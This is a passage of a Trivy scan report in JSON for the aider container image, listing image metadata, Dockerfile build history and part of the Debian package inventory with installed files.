{ "SchemaVersion": 2, "Trivy": { "Version": "0.70.0" }, "ReportID": "01a1b91c-13ad-716b-bb4d-76c21dd2f5c8", "CreatedAt": "2026-11-08T04:03:07.437095652+01:00", "ArtifactID": "sha256:9406a40ee3333f11154eacdd6b903a250b42dafb31fe9c768a359d9d66499d86", "ArtifactName": "paulgauthier/aider:latest", "ArtifactType": "container_image", "Metadata": { "Size": 3944534528, "OS": { "Family": "debian", "Name": "12.13" }, "ImageID": "sha256:4596c7c132b3d8f9594e81324c46cbc588b95847929325478d60b37d6d63b647", "DiffIDs": [ "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a", "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98", "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a", "sha256:71f2c7cdc4f0a3f77f5a8d2138c927fac837dd5565afa6061c191d36b12b4613", "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7", "sha256:669866e75b77cef5d252723eaec4f51d274736dc6aa213fdd0850fc9b3c47637", "sha256:d47fded6513870f18627983c41ee9522a9b865e7013391dd933fe9681422fb58", "sha256:e439069c116489605eabcb60d577d33e0df00f02b0085be054f0a11d61443dab", "sha256:ec117990c7b090069f803978c7b9b90fd76a1d293559c8d67cf0904ff227b150", "sha256:d0625490064cf2f3d4a11595e47f39dfa25e2963e4c8ee6629c0a444f7fad834", "sha256:11085cc7117ddca7fa938feaec239bb7a9d5c9b19bdebf047cfc606bc1c1249d", "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3", "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd", "sha256:1e48da56e56d73d0e3b6d3961307b04461aecc29257742e82ceff9a6738c746f" ], "RepoTags": [ "paulgauthier/aider:latest" ], "RepoDigests": [ "paulgauthier/aider@sha256:0d54037f6c97c85a926ebc3c903e27446f5bca96823d9f68902f1e623289b556" ], "Reference": "paulgauthier/aider:latest", "ImageConfig": { "architecture": "amd64", "created": "2026-02-12T00:45:22.732284109Z", "history": [ { "created": "2026-02-02T00:00:00Z", "created_by": "# debian.sh --arch 'amd64' out/ 'bookworm' '@1769990400'", "comment": "debuerreotype 0.17" }, { "created": "2026-02-04T20:15:27Z", "created_by": "ENV PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-04T20:15:27Z", "created_by": "ENV LANG=C.UTF-8", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-04T20:15:27Z", "created_by": "RUN /bin/sh -c set -eux; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tca-certificates \t\tnetbase \t\ttzdata \t; \trm -rf /var/lib/apt/lists/* # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-04T20:15:27Z", "created_by": "ENV GPG_KEY=7169605F62C751356D054A26A821E680E5FA6305", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-04T20:15:27Z", "created_by": "ENV PYTHON_VERSION=3.12.12", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-04T20:15:27Z", "created_by": "ENV PYTHON_SHA256=fb85a13414b028c49ba18bbd523c2d055a30b56b18b92ce454ea2c51edc656c4", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-04T20:24:52Z", "created_by": "RUN /bin/sh -c set -eux; \t\tsavedAptMark=\"$(apt-mark showmanual)\"; \tapt-get update; \tapt-get install -y --no-install-recommends \t\tdpkg-dev \t\tgcc \t\tgnupg \t\tlibbluetooth-dev \t\tlibbz2-dev \t\tlibc6-dev \t\tlibdb-dev \t\tlibffi-dev \t\tlibgdbm-dev \t\tliblzma-dev \t\tlibncursesw5-dev \t\tlibreadline-dev \t\tlibsqlite3-dev \t\tlibssl-dev \t\tmake \t\ttk-dev \t\tuuid-dev \t\twget \t\txz-utils \t\tzlib1g-dev \t; \t\twget -O python.tar.xz \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz\"; \techo \"$PYTHON_SHA256 *python.tar.xz\" | sha256sum -c -; \twget -O python.tar.xz.asc \"https://www.python.org/ftp/python/${PYTHON_VERSION%%[a-z]*}/Python-$PYTHON_VERSION.tar.xz.asc\"; \tGNUPGHOME=\"$(mktemp -d)\"; export GNUPGHOME; \tgpg --batch --keyserver hkps://keys.openpgp.org --recv-keys \"$GPG_KEY\"; \tgpg --batch --verify python.tar.xz.asc python.tar.xz; \tgpgconf --kill all; \trm -rf \"$GNUPGHOME\" python.tar.xz.asc; \tmkdir -p /usr/src/python; \ttar --extract --directory /usr/src/python --strip-components=1 --file python.tar.xz; \trm python.tar.xz; \t\tcd /usr/src/python; \tgnuArch=\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\"; \t./configure \t\t--build=\"$gnuArch\" \t\t--enable-loadable-sqlite-extensions \t\t--enable-optimizations \t\t--enable-option-checking=fatal \t\t--enable-shared \t\t$(test \"${gnuArch%%-*}\" != 'riscv64' \u0026\u0026 echo '--with-lto') \t\t--with-ensurepip \t; \tnproc=\"$(nproc)\"; \tEXTRA_CFLAGS=\"$(dpkg-buildflags --get CFLAGS)\"; \tLDFLAGS=\"$(dpkg-buildflags --get LDFLAGS)\"; \tLDFLAGS=\"${LDFLAGS:-} -Wl,--strip-all\"; \tarch=\"$(dpkg --print-architecture)\"; arch=\"${arch##*-}\"; \tcase \"$arch\" in \t\tamd64|arm64) \t\t\tEXTRA_CFLAGS=\"${EXTRA_CFLAGS:-} -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer\"; \t\t\t;; \t\ti386) \t\t\t;; \t\t*) \t\t\tEXTRA_CFLAGS=\"${EXTRA_CFLAGS:-} -fno-omit-frame-pointer\"; \t\t\t;; \tesac; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-}\" \t; \trm python; \tmake -j \"$nproc\" \t\t\"EXTRA_CFLAGS=${EXTRA_CFLAGS:-}\" \t\t\"LDFLAGS=${LDFLAGS:-} -Wl,-rpath='\\$\\$ORIGIN/../lib'\" \t\tpython \t; \tmake install; \t\tcd /; \trm -rf /usr/src/python; \t\tfind /usr/local -depth \t\t\\( \t\t\t\\( -type d -a \\( -name test -o -name tests -o -name idle_test \\) \\) \t\t\t-o \\( -type f -a \\( -name '*.pyc' -o -name '*.pyo' -o -name 'libpython*.a' \\) \\) \t\t\\) -exec rm -rf '{}' + \t; \t\tldconfig; \t\tapt-mark auto '.*' \u003e /dev/null; \tapt-mark manual $savedAptMark; \tfind /usr/local -type f -executable -not \\( -name '*tkinter*' \\) -exec ldd '{}' ';' \t\t| awk '/=\u003e/ { so = $(NF-1); if (index(so, \"/usr/local/\") == 1) { next }; gsub(\"^/(usr/)?\", \"\", so); printf \"*%s\\n\", so }' \t\t| sort -u \t\t| xargs -rt dpkg-query --search \t\t| awk 'sub(\":$\", \"\", $1) { print $1 }' \t\t| sort -u \t\t| xargs -r apt-mark manual \t; \tapt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \trm -rf /var/lib/apt/lists/*; \t\texport PYTHONDONTWRITEBYTECODE=1; \tpython3 --version; \tpip3 --version # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-04T20:24:52Z", "created_by": "RUN /bin/sh -c set -eux; \tfor src in idle3 pip3 pydoc3 python3 python3-config; do \t\tdst=\"$(echo \"$src\" | tr -d 3)\"; \t\t[ -s \"/usr/local/bin/$src\" ]; \t\t[ ! -e \"/usr/local/bin/$dst\" ]; \t\tln -svT \"$src\" \"/usr/local/bin/$dst\"; \tdone # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-04T20:24:52Z", "created_by": "CMD [\"python3\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:43:11Z", "created_by": "RUN /bin/sh -c apt-get update \u0026\u0026 apt-get install --no-install-recommends -y build-essential git libportaudio2 pandoc \u0026\u0026 rm -rf /var/lib/apt/lists/* # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:43:11Z", "created_by": "RUN /bin/sh -c useradd -m -u 1000 -s /bin/bash appuser # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:43:11Z", "created_by": "WORKDIR /app", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:43:14Z", "created_by": "RUN /bin/sh -c python -m venv /venv # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:43:15Z", "created_by": "ENV PATH=/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:43:15Z", "created_by": "ENV PLAYWRIGHT_BROWSERS_PATH=/home/appuser/pw-browsers", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:43:15Z", "created_by": "ENV PLAYWRIGHT_SKIP_BROWSER_GC=1", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:43:15Z", "created_by": "RUN /bin/sh -c mkdir -p /home/appuser/.aider /home/appuser/.cache /home/appuser/pw-browsers \u0026\u0026 chown -R appuser:appuser /home/appuser /app /venv \u0026\u0026 chmod -R 777 /home/appuser/.aider /home/appuser/.cache /home/appuser/pw-browsers # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:43:15Z", "created_by": "RUN /bin/sh -c git config --system --add safe.directory /app # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:43:15Z", "created_by": "ENV HOME=/app", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:43:15Z", "created_by": "ENV AIDER_DOCKER_IMAGE=paulgauthier/aider", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:43:16Z", "created_by": "COPY . /tmp/aider # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:44:29Z", "created_by": "RUN /bin/sh -c /venv/bin/python -m pip install --upgrade --no-cache-dir pip \u0026\u0026 /venv/bin/python -m pip install --no-cache-dir /tmp/aider[playwright] boto3 google-cloud-aiplatform --extra-index-url https://download.pytorch.org/whl/cpu \u0026\u0026 rm -rf /tmp/aider # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:44:57Z", "created_by": "RUN /bin/sh -c /venv/bin/python -m playwright install --with-deps chromium # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:45:22Z", "created_by": "RUN /bin/sh -c find /venv/lib/python3.12/site-packages \\( -type d -exec chmod a+rwx {} + \\) -o \\( -type f -exec chmod a+rw {} + \\) # buildkit", "comment": "buildkit.dockerfile.v0" }, { "created": "2026-02-12T00:45:22Z", "created_by": "USER appuser", "comment": "buildkit.dockerfile.v0", "empty_layer": true }, { "created": "2026-02-12T00:45:22Z", "created_by": "ENTRYPOINT [\"/venv/bin/aider\"]", "comment": "buildkit.dockerfile.v0", "empty_layer": true } ], "os": "linux", "rootfs": { "type": "layers", "diff_ids": [ "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a", "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98", "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a", "sha256:71f2c7cdc4f0a3f77f5a8d2138c927fac837dd5565afa6061c191d36b12b4613", "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7", "sha256:669866e75b77cef5d252723eaec4f51d274736dc6aa213fdd0850fc9b3c47637", "sha256:d47fded6513870f18627983c41ee9522a9b865e7013391dd933fe9681422fb58", "sha256:e439069c116489605eabcb60d577d33e0df00f02b0085be054f0a11d61443dab", "sha256:ec117990c7b090069f803978c7b9b90fd76a1d293559c8d67cf0904ff227b150", "sha256:d0625490064cf2f3d4a11595e47f39dfa25e2963e4c8ee6629c0a444f7fad834", "sha256:11085cc7117ddca7fa938feaec239bb7a9d5c9b19bdebf047cfc606bc1c1249d", "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3", "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd", "sha256:1e48da56e56d73d0e3b6d3961307b04461aecc29257742e82ceff9a6738c746f" ] }, "config": { "Entrypoint": [ "/venv/bin/aider" ], "Env": [ "PATH=/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "LANG=C.UTF-8", "GPG_KEY=7169605F62C751356D054A26A821E680E5FA6305", "PYTHON_VERSION=3.12.12", "PYTHON_SHA256=fb85a13414b028c49ba18bbd523c2d055a30b56b18b92ce454ea2c51edc656c4", "PLAYWRIGHT_BROWSERS_PATH=/home/appuser/pw-browsers", "PLAYWRIGHT_SKIP_BROWSER_GC=1", "HOME=/app", "AIDER_DOCKER_IMAGE=paulgauthier/aider" ], "User": "appuser", "WorkingDir": "/app" } }, "Layers": [ { "Size": 77885440, "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, { "Size": 9570304, "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, { "Size": 41590784, "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, { "Size": 5120, "DiffID": "sha256:71f2c7cdc4f0a3f77f5a8d2138c927fac837dd5565afa6061c191d36b12b4613" }, { "Size": 505717248, "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, { "Size": 21504, "DiffID": "sha256:669866e75b77cef5d252723eaec4f51d274736dc6aa213fdd0850fc9b3c47637" }, { "Size": 1536, "DiffID": "sha256:d47fded6513870f18627983c41ee9522a9b865e7013391dd933fe9681422fb58" }, { "Size": 16133120, "DiffID": "sha256:e439069c116489605eabcb60d577d33e0df00f02b0085be054f0a11d61443dab" }, { "Size": 11827712, "DiffID": "sha256:ec117990c7b090069f803978c7b9b90fd76a1d293559c8d67cf0904ff227b150" }, { "Size": 2560, "DiffID": "sha256:d0625490064cf2f3d4a11595e47f39dfa25e2963e4c8ee6629c0a444f7fad834" }, { "Size": 224304128, "DiffID": "sha256:11085cc7117ddca7fa938feaec239bb7a9d5c9b19bdebf047cfc606bc1c1249d" }, { "Size": 1040347136, "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, { "Size": 977159680, "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, { "Size": 1039968256, "DiffID": "sha256:1e48da56e56d73d0e3b6d3961307b04461aecc29257742e82ceff9a6738c746f" } ] }, "Results": [ { "Target": "paulgauthier/aider:latest (debian 12.13)", "Class": "os-pkgs", "Type": "debian", "Packages": [ { "ID": "adduser@3.134", "Name": "adduser", "Identifier": { "PURL": "pkg:deb/debian/adduser@3.134?arch=all\u0026distro=debian-12.13", "UID": "93cd263bba1f52c7" }, "Version": "3.134", "Arch": "all", "SrcName": "adduser", "SrcVersion": "3.134", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian Adduser Developers \u003cadduser@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "passwd@1:4.13+dfsg1-1+deb12u2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/sbin/adduser", "/usr/sbin/deluser", "/usr/share/doc/adduser/NEWS.Debian.gz", "/usr/share/doc/adduser/README.gz", "/usr/share/doc/adduser/TODO", "/usr/share/doc/adduser/changelog.gz", "/usr/share/doc/adduser/copyright", "/usr/share/doc/adduser/examples/INSTALL", "/usr/share/doc/adduser/examples/README", "/usr/share/doc/adduser/examples/adduser.conf", "/usr/share/doc/adduser/examples/adduser.local", "/usr/share/doc/adduser/examples/adduser.local.conf", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/bash.bashrc", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/profile", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel.other/index.html", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bash_logout", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bash_profile", "/usr/share/doc/adduser/examples/adduser.local.conf.examples/skel/dot.bashrc", "/usr/share/doc/adduser/examples/deluser.conf", "/usr/share/locale/ca/LC_MESSAGES/adduser.mo", "/usr/share/locale/cs/LC_MESSAGES/adduser.mo", "/usr/share/locale/da/LC_MESSAGES/adduser.mo", "/usr/share/locale/de/LC_MESSAGES/adduser.mo", "/usr/share/locale/es/LC_MESSAGES/adduser.mo", "/usr/share/locale/eu/LC_MESSAGES/adduser.mo", "/usr/share/locale/fr/LC_MESSAGES/adduser.mo", "/usr/share/locale/gl/LC_MESSAGES/adduser.mo", "/usr/share/locale/hu/LC_MESSAGES/adduser.mo", "/usr/share/locale/it/LC_MESSAGES/adduser.mo", "/usr/share/locale/ja/LC_MESSAGES/adduser.mo", "/usr/share/locale/ko/LC_MESSAGES/adduser.mo", "/usr/share/locale/nb/LC_MESSAGES/adduser.mo", "/usr/share/locale/nl/LC_MESSAGES/adduser.mo", "/usr/share/locale/pl/LC_MESSAGES/adduser.mo", "/usr/share/locale/pt/LC_MESSAGES/adduser.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/adduser.mo", "/usr/share/locale/ru/LC_MESSAGES/adduser.mo", "/usr/share/locale/sk/LC_MESSAGES/adduser.mo", "/usr/share/locale/sv/LC_MESSAGES/adduser.mo", "/usr/share/locale/uk/LC_MESSAGES/adduser.mo", "/usr/share/locale/vi/LC_MESSAGES/adduser.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/adduser.mo", "/usr/share/man/de/man5/adduser.conf.5.gz", "/usr/share/man/de/man5/deluser.conf.5.gz", "/usr/share/man/de/man8/adduser.8.gz", "/usr/share/man/de/man8/deluser.8.gz", "/usr/share/man/fr/man5/adduser.conf.5.gz", "/usr/share/man/fr/man5/deluser.conf.5.gz", "/usr/share/man/fr/man8/adduser.8.gz", "/usr/share/man/fr/man8/deluser.8.gz", "/usr/share/man/man5/adduser.conf.5.gz", "/usr/share/man/man5/deluser.conf.5.gz", "/usr/share/man/man8/adduser.8.gz", "/usr/share/man/man8/adduser.local.8.gz", "/usr/share/man/man8/deluser.8.gz", "/usr/share/man/nl/man5/adduser.conf.5.gz", "/usr/share/man/nl/man5/deluser.conf.5.gz", "/usr/share/man/nl/man8/adduser.8.gz", "/usr/share/man/nl/man8/deluser.8.gz", "/usr/share/man/pt/man5/adduser.conf.5.gz", "/usr/share/man/pt/man5/deluser.conf.5.gz", "/usr/share/man/pt/man8/adduser.8.gz", "/usr/share/man/pt/man8/deluser.8.gz", "/usr/share/perl5/Debian/AdduserCommon.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "apt@2.6.1", "Name": "apt", "Identifier": { "PURL": "pkg:deb/debian/apt@2.6.1?arch=amd64\u0026distro=debian-12.13", "UID": "f99d8501bf1c50a1" }, "Version": "2.6.1", "Arch": "amd64", "SrcName": "apt", "SrcVersion": "2.6.1", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "BSD-3-Clause", "MIT" ], "Maintainer": "APT Development Team \u003cdeity@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "adduser@3.134", "debian-archive-keyring@2023.3+deb12u2", "gpgv@2.2.40-1.1+deb12u2", "libapt-pkg6.0@2.6.1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1", "libgnutls30@3.7.9-2+deb12u5", "libseccomp2@2.5.4-1+deb12u1", "libstdc++6@12.2.0-14+deb12u1", "libsystemd0@252.39-1~deb12u1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/systemd/system/apt-daily-upgrade.service", "/lib/systemd/system/apt-daily-upgrade.timer", "/lib/systemd/system/apt-daily.service", "/lib/systemd/system/apt-daily.timer", "/usr/bin/apt", "/usr/bin/apt-cache", "/usr/bin/apt-cdrom", "/usr/bin/apt-config", "/usr/bin/apt-get", "/usr/bin/apt-key", "/usr/bin/apt-mark", "/usr/lib/apt/apt-helper", "/usr/lib/apt/apt.systemd.daily", "/usr/lib/apt/methods/cdrom", "/usr/lib/apt/methods/copy", "/usr/lib/apt/methods/file", "/usr/lib/apt/methods/ftp", "/usr/lib/apt/methods/gpgv", "/usr/lib/apt/methods/http", "/usr/lib/apt/methods/mirror", "/usr/lib/apt/methods/rred", "/usr/lib/apt/methods/rsh", "/usr/lib/apt/methods/store", "/usr/lib/apt/solvers/dump", "/usr/lib/dpkg/methods/apt/desc.apt", "/usr/lib/dpkg/methods/apt/install", "/usr/lib/dpkg/methods/apt/names", "/usr/lib/dpkg/methods/apt/setup", "/usr/lib/dpkg/methods/apt/update", "/usr/lib/x86_64-linux-gnu/libapt-private.so.0.0.0", "/usr/share/bash-completion/completions/apt", "/usr/share/bug/apt/script", "/usr/share/doc/apt/NEWS.Debian.gz", "/usr/share/doc/apt/README.md.gz", "/usr/share/doc/apt/changelog.gz", "/usr/share/doc/apt/copyright", "/usr/share/doc/apt/examples/apt.conf", "/usr/share/doc/apt/examples/configure-index", "/usr/share/doc/apt/examples/preferences", "/usr/share/doc/apt/examples/sources.list", "/usr/share/lintian/overrides/apt", "/usr/share/locale/ar/LC_MESSAGES/apt.mo", "/usr/share/locale/ast/LC_MESSAGES/apt.mo", "/usr/share/locale/bg/LC_MESSAGES/apt.mo", "/usr/share/locale/bs/LC_MESSAGES/apt.mo", "/usr/share/locale/ca/LC_MESSAGES/apt.mo", "/usr/share/locale/cs/LC_MESSAGES/apt.mo", "/usr/share/locale/cy/LC_MESSAGES/apt.mo", "/usr/share/locale/da/LC_MESSAGES/apt.mo", "/usr/share/locale/de/LC_MESSAGES/apt.mo", "/usr/share/locale/dz/LC_MESSAGES/apt.mo", "/usr/share/locale/el/LC_MESSAGES/apt.mo", "/usr/share/locale/es/LC_MESSAGES/apt.mo", "/usr/share/locale/eu/LC_MESSAGES/apt.mo", "/usr/share/locale/fi/LC_MESSAGES/apt.mo", "/usr/share/locale/fr/LC_MESSAGES/apt.mo", "/usr/share/locale/gl/LC_MESSAGES/apt.mo", "/usr/share/locale/hu/LC_MESSAGES/apt.mo", "/usr/share/locale/it/LC_MESSAGES/apt.mo", "/usr/share/locale/ja/LC_MESSAGES/apt.mo", "/usr/share/locale/km/LC_MESSAGES/apt.mo", "/usr/share/locale/ko/LC_MESSAGES/apt.mo", "/usr/share/locale/ku/LC_MESSAGES/apt.mo", "/usr/share/locale/lt/LC_MESSAGES/apt.mo", "/usr/share/locale/mr/LC_MESSAGES/apt.mo", "/usr/share/locale/nb/LC_MESSAGES/apt.mo", "/usr/share/locale/ne/LC_MESSAGES/apt.mo", "/usr/share/locale/nl/LC_MESSAGES/apt.mo", "/usr/share/locale/nn/LC_MESSAGES/apt.mo", "/usr/share/locale/pl/LC_MESSAGES/apt.mo", "/usr/share/locale/pt/LC_MESSAGES/apt.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/apt.mo", "/usr/share/locale/ro/LC_MESSAGES/apt.mo", "/usr/share/locale/ru/LC_MESSAGES/apt.mo", "/usr/share/locale/sk/LC_MESSAGES/apt.mo", "/usr/share/locale/sl/LC_MESSAGES/apt.mo", "/usr/share/locale/sv/LC_MESSAGES/apt.mo", "/usr/share/locale/th/LC_MESSAGES/apt.mo", "/usr/share/locale/tl/LC_MESSAGES/apt.mo", "/usr/share/locale/tr/LC_MESSAGES/apt.mo", "/usr/share/locale/uk/LC_MESSAGES/apt.mo", "/usr/share/locale/vi/LC_MESSAGES/apt.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/apt.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/apt.mo", "/usr/share/man/de/man1/apt-transport-http.1.gz", "/usr/share/man/de/man1/apt-transport-https.1.gz", "/usr/share/man/de/man1/apt-transport-mirror.1.gz", "/usr/share/man/de/man5/apt.conf.5.gz", "/usr/share/man/de/man5/apt_auth.conf.5.gz", "/usr/share/man/de/man5/apt_preferences.5.gz", "/usr/share/man/de/man5/sources.list.5.gz", "/usr/share/man/de/man7/apt-patterns.7.gz", "/usr/share/man/de/man8/apt-cache.8.gz", "/usr/share/man/de/man8/apt-cdrom.8.gz", "/usr/share/man/de/man8/apt-config.8.gz", "/usr/share/man/de/man8/apt-get.8.gz", "/usr/share/man/de/man8/apt-mark.8.gz", "/usr/share/man/de/man8/apt-secure.8.gz", "/usr/share/man/de/man8/apt.8.gz", "/usr/share/man/es/man5/apt_preferences.5.gz", "/usr/share/man/es/man8/apt-cache.8.gz", "/usr/share/man/es/man8/apt-cdrom.8.gz", "/usr/share/man/es/man8/apt-config.8.gz", "/usr/share/man/fr/man1/apt-transport-http.1.gz", "/usr/share/man/fr/man1/apt-transport-https.1.gz", "/usr/share/man/fr/man1/apt-transport-mirror.1.gz", "/usr/share/man/fr/man5/apt.conf.5.gz", "/usr/share/man/fr/man5/apt_auth.conf.5.gz", "/usr/share/man/fr/man5/apt_preferences.5.gz", "/usr/share/man/fr/man5/sources.list.5.gz", "/usr/share/man/fr/man8/apt-cache.8.gz", "/usr/share/man/fr/man8/apt-cdrom.8.gz", "/usr/share/man/fr/man8/apt-config.8.gz", "/usr/share/man/fr/man8/apt-get.8.gz", "/usr/share/man/fr/man8/apt-mark.8.gz", "/usr/share/man/fr/man8/apt-secure.8.gz", "/usr/share/man/fr/man8/apt.8.gz", "/usr/share/man/it/man5/apt.conf.5.gz", "/usr/share/man/it/man5/apt_preferences.5.gz", "/usr/share/man/it/man5/sources.list.5.gz", "/usr/share/man/it/man8/apt-cache.8.gz", "/usr/share/man/it/man8/apt-cdrom.8.gz", "/usr/share/man/it/man8/apt-config.8.gz", "/usr/share/man/it/man8/apt-get.8.gz", "/usr/share/man/it/man8/apt-mark.8.gz", "/usr/share/man/it/man8/apt-secure.8.gz", "/usr/share/man/it/man8/apt.8.gz", "/usr/share/man/ja/man5/apt.conf.5.gz", "/usr/share/man/ja/man5/apt_preferences.5.gz", "/usr/share/man/ja/man5/sources.list.5.gz", "/usr/share/man/ja/man8/apt-cache.8.gz", "/usr/share/man/ja/man8/apt-cdrom.8.gz", "/usr/share/man/ja/man8/apt-config.8.gz", "/usr/share/man/ja/man8/apt-get.8.gz", "/usr/share/man/ja/man8/apt-mark.8.gz", "/usr/share/man/ja/man8/apt-secure.8.gz", "/usr/share/man/ja/man8/apt.8.gz", "/usr/share/man/man1/apt-transport-http.1.gz", "/usr/share/man/man1/apt-transport-https.1.gz", "/usr/share/man/man1/apt-transport-mirror.1.gz", "/usr/share/man/man5/apt.conf.5.gz", "/usr/share/man/man5/apt_auth.conf.5.gz", "/usr/share/man/man5/apt_preferences.5.gz", "/usr/share/man/man5/sources.list.5.gz", "/usr/share/man/man7/apt-patterns.7.gz", "/usr/share/man/man8/apt-cache.8.gz", "/usr/share/man/man8/apt-cdrom.8.gz", "/usr/share/man/man8/apt-config.8.gz", "/usr/share/man/man8/apt-get.8.gz", "/usr/share/man/man8/apt-key.8.gz", "/usr/share/man/man8/apt-mark.8.gz", "/usr/share/man/man8/apt-secure.8.gz", "/usr/share/man/man8/apt.8.gz", "/usr/share/man/nl/man1/apt-transport-http.1.gz", "/usr/share/man/nl/man1/apt-transport-https.1.gz", "/usr/share/man/nl/man1/apt-transport-mirror.1.gz", "/usr/share/man/nl/man5/apt.conf.5.gz", "/usr/share/man/nl/man5/apt_auth.conf.5.gz", "/usr/share/man/nl/man5/apt_preferences.5.gz", "/usr/share/man/nl/man5/sources.list.5.gz", "/usr/share/man/nl/man7/apt-patterns.7.gz", "/usr/share/man/nl/man8/apt-cache.8.gz", "/usr/share/man/nl/man8/apt-cdrom.8.gz", "/usr/share/man/nl/man8/apt-config.8.gz", "/usr/share/man/nl/man8/apt-get.8.gz", "/usr/share/man/nl/man8/apt-key.8.gz", "/usr/share/man/nl/man8/apt-mark.8.gz", "/usr/share/man/nl/man8/apt-secure.8.gz", "/usr/share/man/nl/man8/apt.8.gz", "/usr/share/man/pl/man5/apt_preferences.5.gz", "/usr/share/man/pl/man8/apt-cache.8.gz", "/usr/share/man/pl/man8/apt-cdrom.8.gz", "/usr/share/man/pl/man8/apt-config.8.gz", "/usr/share/man/pt/man1/apt-transport-http.1.gz", "/usr/share/man/pt/man1/apt-transport-https.1.gz", "/usr/share/man/pt/man1/apt-transport-mirror.1.gz", "/usr/share/man/pt/man5/apt.conf.5.gz", "/usr/share/man/pt/man5/apt_auth.conf.5.gz", "/usr/share/man/pt/man5/apt_preferences.5.gz", "/usr/share/man/pt/man5/sources.list.5.gz", "/usr/share/man/pt/man7/apt-patterns.7.gz", "/usr/share/man/pt/man8/apt-cache.8.gz", "/usr/share/man/pt/man8/apt-cdrom.8.gz", "/usr/share/man/pt/man8/apt-config.8.gz", "/usr/share/man/pt/man8/apt-get.8.gz", 